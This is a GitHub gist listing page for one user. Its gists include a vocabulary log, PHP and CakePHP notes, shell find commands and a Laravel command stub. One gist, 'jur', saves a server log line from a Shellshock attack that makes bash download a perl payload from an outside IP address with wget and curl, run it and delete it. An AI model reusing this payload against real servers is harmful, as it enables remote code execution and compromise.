Skip to content

Instantly share code, notes, and snippets.

View saji89's full-sized avatar

Saji Nediyanchath saji89

View GitHub Profile
@saji89
saji89 / wotd.md
Last active August 29, 2015 13:57 — forked from w3br3ap3r/wotd.md
Word of the day log

18/03/2014 (Helan)

Strive (അദ്ധ്വാനിക്കുക,പരിശ്രമിക്കുക)

  • make great efforts to achieve or obtain something
Usage:
  • We continually strive to better our service to our customers.

17/03/2014 (Hari)

@saji89
saji89 / wotd.md
Last active August 29, 2015 13:57 — forked from w3br3ap3r/wotd.md

22/03/2014 (Saji)

cynicism (കുറ്റം കണ്ടുപിടിക്കുന്ന സ്വഭാവം, ദോഷദര്‍ശന സ്വഭാവം)

  • an inclination to believe that people are motivated purely by self-interest

Synonyms(or similar words):

  • skepticism, distrust, mistrust, suspicion, disbelief
Usage:
@saji89
saji89 / Pure-CSS-Taj-Mahal.markdown
Created April 19, 2014 12:27
A Pen by jan dennison.

Pure CSS Taj Mahal

Pure CSS Taj Mahal by Jan Dennison @jannypie Inspired by the pure CSS White House by Kevin Jannis @kevinjannis

A Pen by jan dennison on CodePen.

License.

@saji89
saji89 / jur
Last active August 29, 2015 14:06
GET /cgi-bin/hello HTTP/1.0" 301 0 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\x22
@saji89
saji89 / abstract vs interface
Created October 1, 2014 09:41
abstract vs interface
| Tables | Are | Cool |
| ------------- |:-------------:| -----:|
| col 3 is | right-aligned | $1600 |
| col 2 is | centered | $12 |
| zebra stripes | are neat | $1 |
@saji89
saji89 / test.md
Last active August 29, 2015 14:07
Abstract class vs Interface (In PHP)
Abstract Class Interface
A method must be declared as abstract. Abstract methods doesn't have any implementation All methods, by default are abstract methods only. So, one cannot declare variables or concrete methods in interfaces
Abstract methods can be declared with access modifiers like public, private, protected. When implementing in subclass these methods must be defined with the same visibility All methods in an interface must be declared public
Abstract class can contain variables and concrete methods Interface cannot contain variables and concrete methods, except constants
A class can inherit only one abstract class ( multiple inheritance is not possible ) A class can implement, many interfaces ( multiple inheritance is possible )

e.g:

Abstract class

@saji89
saji89 / commands.md
Created October 3, 2014 06:14
Commands of interest
    find . \( -name "*.c" -o -name "*.h" -o -name "*.sc" -o -name "*.ini" \) -print
    
    find . -type f \( -name "*.avi" -name "*.mp4" -name "*.mkv" -name "*.mpg" -name "*.mpeg"\)
@saji89
saji89 / cakeconvention.md
Last active August 29, 2015 14:08
Cake PHP Conventions

Controller class names

Plural, CamelCased, and end in Controller


Multiword Controller URLS's

Multiple word controllers can be any ‘inflected’ form which equals the controller name so:

@saji89
saji89 / json_unicode_decode.php
Created October 15, 2015 06:41
Unicode encoded value conversion
<?php
function unescapeUTF8EscapeSeq($str)
{
return preg_replace_callback("/\\\u([0-9a-f]{4})/i",
create_function('$matches',
'return html_entity_decode(\'&#x\'.$matches[1].\';\', ENT_QUOTES, \'UTF-8\');'
), $str);
}
$unicodeEncodedvalue = '\u041d\u0438\u043a\u043e\u043b\u0430\u0439 \u0420\u0435\u0448\u0438\u0442\u043a\u043e';
@saji89
saji89 / Laravel\app\commands\ViewsCommand.php
Created June 10, 2016 12:37 — forked from cjonstrup/Laravel\app\commands\ViewsCommand.php
Clear Laravel 4.* app/storage/views artisan views:clear
<?php
use Illuminate\Console\Command;
use Illuminate\Filesystem\Filesystem;
class ViewsCommand extends Command {
/**
* The console command name.
*
* @var string